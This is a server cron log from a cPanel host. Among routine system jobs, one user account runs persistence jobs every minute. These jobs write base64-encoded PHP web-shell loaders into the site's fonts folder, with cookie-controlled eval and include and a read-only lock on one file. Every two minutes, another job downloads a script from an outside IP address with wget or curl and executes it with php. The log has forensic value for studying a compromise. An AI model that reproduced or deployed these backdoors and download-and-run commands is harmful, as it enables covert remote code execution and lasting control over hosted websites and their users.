Sep  9 02:58:01 ip-184-168-122-23 CROND[32004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:58:01 ip-184-168-122-23 CROND[32003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:59:01 ip-184-168-122-23 CROND[32174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:59:01 ip-184-168-122-23 CROND[32175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:59:01 ip-184-168-122-23 CROND[32178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:59:01 ip-184-168-122-23 CROND[32177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:00:01 ip-184-168-122-23 CROND[32256]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 03:00:01 ip-184-168-122-23 CROND[32257]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 03:00:01 ip-184-168-122-23 CROND[32259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:00:01 ip-184-168-122-23 CROND[32262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:00:01 ip-184-168-122-23 CROND[32263]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 03:00:01 ip-184-168-122-23 CROND[32266]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:00:01 ip-184-168-122-23 CROND[32261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:00:01 ip-184-168-122-23 CROND[32265]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 03:01:01 ip-184-168-122-23 CROND[32371]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 03:01:01 ip-184-168-122-23 CROND[32372]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[32371]: starting 0anacron
Sep  9 03:01:01 ip-184-168-122-23 CROND[32381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:01:01 ip-184-168-122-23 CROND[32382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:01:01 ip-184-168-122-23 CROND[32383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:01:01 ip-184-168-122-23 CROND[32384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:01:01 ip-184-168-122-23 anacron[32389]: Anacron started on 2026-09-09
Sep  9 03:01:01 ip-184-168-122-23 anacron[32389]: Will run job `cron.daily' in 29 min.
Sep  9 03:01:01 ip-184-168-122-23 anacron[32389]: Jobs will be executed sequentially
Sep  9 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[32392]: finished 0anacron
Sep  9 03:02:01 ip-184-168-122-23 CROND[32469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:02:01 ip-184-168-122-23 CROND[32471]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 03:02:01 ip-184-168-122-23 CROND[32472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:02:01 ip-184-168-122-23 CROND[32473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:02:01 ip-184-168-122-23 CROND[32474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:03:01 ip-184-168-122-23 CROND[32552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:03:01 ip-184-168-122-23 CROND[32555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:03:01 ip-184-168-122-23 CROND[32556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:03:01 ip-184-168-122-23 CROND[32554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:04:01 ip-184-168-122-23 CROND[32723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:04:01 ip-184-168-122-23 CROND[32725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:04:01 ip-184-168-122-23 CROND[32728]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 03:04:01 ip-184-168-122-23 CROND[32729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:04:01 ip-184-168-122-23 CROND[32727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:05:01 ip-184-168-122-23 CROND[364]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 03:05:01 ip-184-168-122-23 CROND[367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:05:01 ip-184-168-122-23 CROND[368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:05:01 ip-184-168-122-23 CROND[370]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 03:05:01 ip-184-168-122-23 CROND[369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:05:01 ip-184-168-122-23 CROND[374]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 03:05:01 ip-184-168-122-23 CROND[375]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:06:01 ip-184-168-122-23 CROND[464]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 03:06:01 ip-184-168-122-23 CROND[466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:06:01 ip-184-168-122-23 CROND[467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:06:01 ip-184-168-122-23 CROND[468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:06:01 ip-184-168-122-23 CROND[465]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:07:01 ip-184-168-122-23 CROND[568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:07:01 ip-184-168-122-23 CROND[567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:07:01 ip-184-168-122-23 CROND[569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:07:01 ip-184-168-122-23 CROND[570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:08:01 ip-184-168-122-23 CROND[663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:08:01 ip-184-168-122-23 CROND[665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:08:01 ip-184-168-122-23 CROND[664]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 03:08:01 ip-184-168-122-23 CROND[667]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:08:01 ip-184-168-122-23 CROND[666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:09:01 ip-184-168-122-23 CROND[758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:09:01 ip-184-168-122-23 CROND[759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:09:01 ip-184-168-122-23 CROND[764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:09:01 ip-184-168-122-23 CROND[763]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:09:01 ip-184-168-122-23 CROND[765]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 03:10:01 ip-184-168-122-23 CROND[868]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 03:10:01 ip-184-168-122-23 CROND[875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:10:01 ip-184-168-122-23 CROND[874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:10:01 ip-184-168-122-23 CROND[872]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
